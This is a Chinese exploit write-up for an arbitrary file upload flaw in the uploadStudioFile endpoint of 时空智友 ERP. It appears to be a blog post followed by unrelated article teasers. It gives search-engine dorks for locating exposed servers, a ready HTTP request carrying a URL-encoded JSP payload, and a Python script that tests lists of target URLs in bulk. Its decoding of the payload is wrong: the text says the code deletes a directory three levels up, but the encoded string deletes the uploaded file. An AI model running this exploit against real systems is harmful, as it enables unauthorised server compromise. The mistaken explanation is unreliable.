【漏洞复现】时空智友ERP——uploadStudioFile——任意文件上传

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

时空智友ERP是专为医药等行业设计的综合性企业资源规划系统,融合云计算和移动技术,支持多组织管理。。其uploadStudioFile接口存在任意文件上传漏洞,攻击者可通过该漏洞上传任意文件到服务器上,包括木马后门文件,导从而获取服务器权限。

漏洞复现

1)信息收集
fofa:body=“login.jsp?login=null”
hunter:web.body=“login.jsp?login=null”
在这里插入图片描述
无论如何轮回做出选择,终将还是会后悔。
在这里插入图片描述
2)构造数据包

POST /formservice?service=updater.uploadStudioFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 609content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

代码解释

content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

这段内容是一个XML格式的数据,其中包含了一些文件信息,例如文件名test.jsp、文件路径./、文件大小172以及最后修改时间1970-01-01 08:00:00。XML注释部分包含了执行脚本的注入。

注释中的内容经过URL解码后是这样的:

out.print("<pre>");
out.println(111 * 111);
out.print("</pre>");
new java.io.File(application.getRealPath("../../../")).delete();

这段代码执行了以下操作:

  1. out.print("<pre>"); - 输出一个<pre>标签,通常用于显示预格式化的文本。
  2. out.println(111 * 111); - 打印计算结果,这里是111 * 111,即12321
  3. out.print("</pre>"); - 输出一个闭合的</pre>标签。
  4. new java.io.File(application.getRealPath("../../../")).delete(); - 尝试删除应用服务器上当前工作目录的上三级目录。

这是一种Web Shell的注入尝试,通过在XML注释中嵌入恶意Java代码,试图在服务器上执行任意命令。
在这里插入图片描述

3)查看上传文件

GET /update/temp/studio/test.jsp HTTP/1.1
Host:ip

在这里插入图片描述
成功查看到上传文件,存在任意文件上传漏洞。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
时空智友 ERP 系统文件上传漏洞检测工具本脚本用于检测指定的时空智友 ERP 系统是否存在文件上传漏洞。
通过上传一个测试文件并检查返回内容来确认漏洞是否存在。
"""import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning# 忽略 HTTPS 证书验证警告
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定义红色和重置终端输出样式
RED = '\033[91m'
RESET = '\033[0m'def upload_studio_file(url):"""检测指定 URL 的时空智友 ERP 系统是否存在文件上传漏洞。参数:- url: 待检测的 URL。返回:- 检测结果的字符串描述。"""# 定义请求头,模拟浏览器发送请求headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15','Content-Type': 'application/x-www-form-urlencoded'}# 构造上传的伪造数据data = 'content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->'# 构造上传地址和测试文件地址upload_url = f"{url.rstrip('/')}/formservice?service=updater.uploadStudioFile"shell_url = f"{url.rstrip('/')}/update/temp/studio/test.jsp"try:# 发送上传请求response = requests.post(upload_url, headers=headers, data=data, verify=False, timeout=30)if response.status_code == 200:# 发送测试文件请求并检查是否成功上传shell_response = requests.get(shell_url, verify=False, timeout=30)if shell_response.status_code == 200 and "12321" in shell_response.text:print(f"{RED}URL [{url}] 存在时空智友 ERP uploadstudiofile 文件上传漏洞{RESET}")else:print(f"URL [{url}] 可能不存在漏洞")else:print(f"URL [{url}] 上传文件失败,响应状态码: {response.status_code}")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")def main():"""程序入口函数。从命令行参数中获取待检测的 URL,然后调用 upload_studio_file 函数进行检测。"""parser = argparse.ArgumentParser(description='检测目标地址是否存在时空智友 ERP uploadstudiofile 文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()if args.url:# 处理命令行指定的单个 URLif not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlupload_studio_file(args.url)elif args.file:# 处理命令行指定的包含多个 URL 的文件with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlupload_studio_file(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3225291.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【漏洞复现】锐捷校园网自助服务系统 任意文件读取

声明&#xff1a;本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动&#xff0c;将与本文档的作者或发布者无关。 一、漏洞描述 锐捷校园网自助服务系统是用于学校网络管理的一个平台&#xff0c;login_judge.jsf接口存在任意文件读取…

现在国内的ddos攻击趋势怎么样?想了解现在ddos的情况该去哪看?

目前&#xff0c;国内的DDoS攻击趋势显示出以下几个特征&#xff1a; 攻击频次显著增加&#xff1a;根据《快快网络2024年DDoS攻击趋势白皮书》&#xff0c;2023年DDoS攻击活动有显著攀升&#xff0c;总攻击次数达到1246.61万次&#xff0c;比前一年增长了18.1%。 攻击强度和规…

Collection接口及遍历集合的方式Iterator接口、增强for循环的介绍和使用

Collection接口 概述&#xff1a;单列集合的顶级接口格式&#xff1a;其中泛型决定了集合中能存储什么类型的数据&#xff0c;可以统一元素类型&#xff0c;泛型中只能写引用数据类型&#xff0c;如果不写&#xff0c;默认Object类型。等号前面的泛型必须写&#xff0c;等号后…

增强现实(AR)与虚拟现实(VR)的区别?

随着科技的飞速发展&#xff0c;增强现实&#xff08;AR&#xff09;与虚拟现实&#xff08;VR&#xff09;技术在各个领域展现出巨大的潜力和应用前景。这两种技术虽然在体验和实现方式上有所不同&#xff0c;但都为用户提供了全新的感知体验。本文将详细解析AR和VR的概念、区…

MySQL 面试相关问题

1. MySQL 基础问题1.1 为什么用MySQL&#xff1f;1.2 表属性类型 varchar 和 char 的区别&#xff1f;1.2 什么时候用 varchar 和 char&#xff1f;1.3 Datetime 和 Timestamp 的区别&#xff1f;1.4 一个SQL语句的执行过程&#xff0c;表述下&#xff1f; 2. MySQL 存储引擎相…

凝思安全操作系统安装部署

原文链接&#xff1a;凝思安全操作系统安装部署 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇关于凝思安全操作系统安装部署的文章。凝思安全操作系统是一款注重安全和隐私保护的操作系统&#xff0c;适用于各种高安全性需求的场景。本文将详细介绍如何安装和部署…

万字学习——DCU编程实战

参考资料 2.1 DCU软件栈&#xff08;DCU ToolKit, DTK&#xff09; DCU 开发与使用文档 (hpccube.com) DCU软件栈 DCU的软件栈—DCU Toolkit&#xff08;DTK&#xff09; HIP&#xff08;Heterogeneous-Compute Interface for Portability&#xff09;是AMD公司在2016年提出…

【C++题解】1405 - 小丽找潜在的素数?

问题&#xff1a;1405 - 小丽找潜在的素数&#xff1f; 类型&#xff1a;进制转换 题目描述&#xff1a; 小丽同学在编程中学到了二进制数的概念&#xff0c;她发现&#xff0c;有些二进制数&#xff0c;如果转为 10 进制&#xff0c;就是素数&#xff0c;小丽把这些数称为潜…

机器视觉/自然语言/生成式人工智能综合应用实验平台-实训平台-教学平台

AIGC是人工智能1.0时代进入2.0时代的重要标志&#xff0c;MIT 科技评论也将Al合成数据列为2022年十大突破性技术之一&#xff0c;甚至将生成性Al(Generative Al) 称为是AI领域过去十年最具前景的进展。同时&#xff0c;AIGC领域岗位需求数量暴涨。高校方面在人工智能专业与机器…

【RHCE】转发服务器实验

1.在本地主机上操作 2.在客户端操作设置主机的IP地址为dns 3.测试,客户机是否能ping通

【C++高阶】高效数据存储:理解并模拟实现红黑树Map与Set

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;了解 红黑树 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀模拟实现Map与Set &#x1f4d2;1.…

【Android】kotlin jdk版本冲突与Kotlin依赖管理插件

1、androidx.activity&#xff1a;activity&#xff1a;1.8.0 依赖版本错误问题 *依赖项“androidx.activity&#xff1a;activity&#xff1a;1.8.0”要求依赖它的库和应用针对版本 34 或更高版本 Android API 进行编译。&#xff1a;app 目前是针对 android-33 编译的。此外…

收银系统源代码-收银端UI风格

智慧新零售收银系统是一套线下线上一体化收银系统&#xff0c;给商户提供含线下收银称重、线上商城、精细化会员管理、ERP进销存、丰富营销活动、移动店务助手等一体化的解决方案。 如Windows版收银&#xff08;exe安装包&#xff09;、安卓版收银&#xff08;apk安装包&#…

LabVIEW平台从离散光子到连续光子的光子计数技术

光子计数技术用于将输入光子数转换为离散脉冲。常见的光子计数器假设光子是离散到达的&#xff0c;记录到来的每一个光子。但是&#xff0c;当两个或多个光子同时到达时&#xff0c;计数器会将其记录为单个脉冲&#xff0c;从而只计数一次。当连续光子到达时&#xff0c;离散光…

Monorepo仓库管理策略之 Lerna

这里写目录标题 前言&#xff1a;一、简介二、新建项目使用安装生成结构 三、复用现有项目执行命令查看包 四、配置package相互引用导入现有的包 五、发布包确定项目版本发布项目添加项目到到git发布包到NPM包发布出错解决方案 五、实例代码 前言&#xff1a; 将大型代码仓库分…

【漏洞复现】通达OA v2017 video_file.php 任意文件下载漏洞

免责声明&#xff1a; 本文内容旨在提供有关特定漏洞或安全漏洞的信息&#xff0c;以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步&#xff0c;并非出于任何恶意目的。阅读者应该明白&#xff0c;在利用本文提到的漏洞信息或进行相关测…

【鸿蒙学习笔记】Stage模型

官方文档&#xff1a;Stage模型开发概述 目录标题 Stage模型好处Stage模型概念图ContextAbilityStageUIAbility组件和ExtensionAbility组件WindowStage Stage模型-组件模型Stage模型-进程模型Stage模型-ArkTS线程模型和任务模型关于任务模型&#xff0c;我们先来了解一下什么是…

数学建模及国赛

认识数学建模及国赛 认识数学建模 环境类&#xff1a;预测一下明天的气温 实证类&#xff1a; 评价一下政策的优缺点 农业类&#xff1a; 预测一下小麦的产量 财经类&#xff1a; 分析一下理财产品的最优组合 规划类&#xff1a; 土地利用情况进行 合理的划分 力学类&#xf…

RedHat Linux8 修改root管理员账户密码命令

RedHat Linux8 修改root管理员账户密码命令&#xff1a; sudo passwd root RedHat重置root管理员密码&#xff1a; 1. 查看Linux系统版本信息 cat /etc/redhat-release2. 重置密码 2.1 进入内核编辑界面 重启Linux系统并出现引导界面&#xff0c;按下键盘上的e键进入内…

Pyecharts绘制热力图的说明+代码实战

引言 热力图在数据可视化中是一种强大的工具&#xff0c;可以直观地展示数据的分布情况和变化趋势。Pyecharts是一个基于Echarts的Python可视化库&#xff0c;提供了丰富的图表类型&#xff0c;包括热力图。在本文中&#xff0c;我们将深入探讨Pyecharts绘制多种炫酷热力图的参…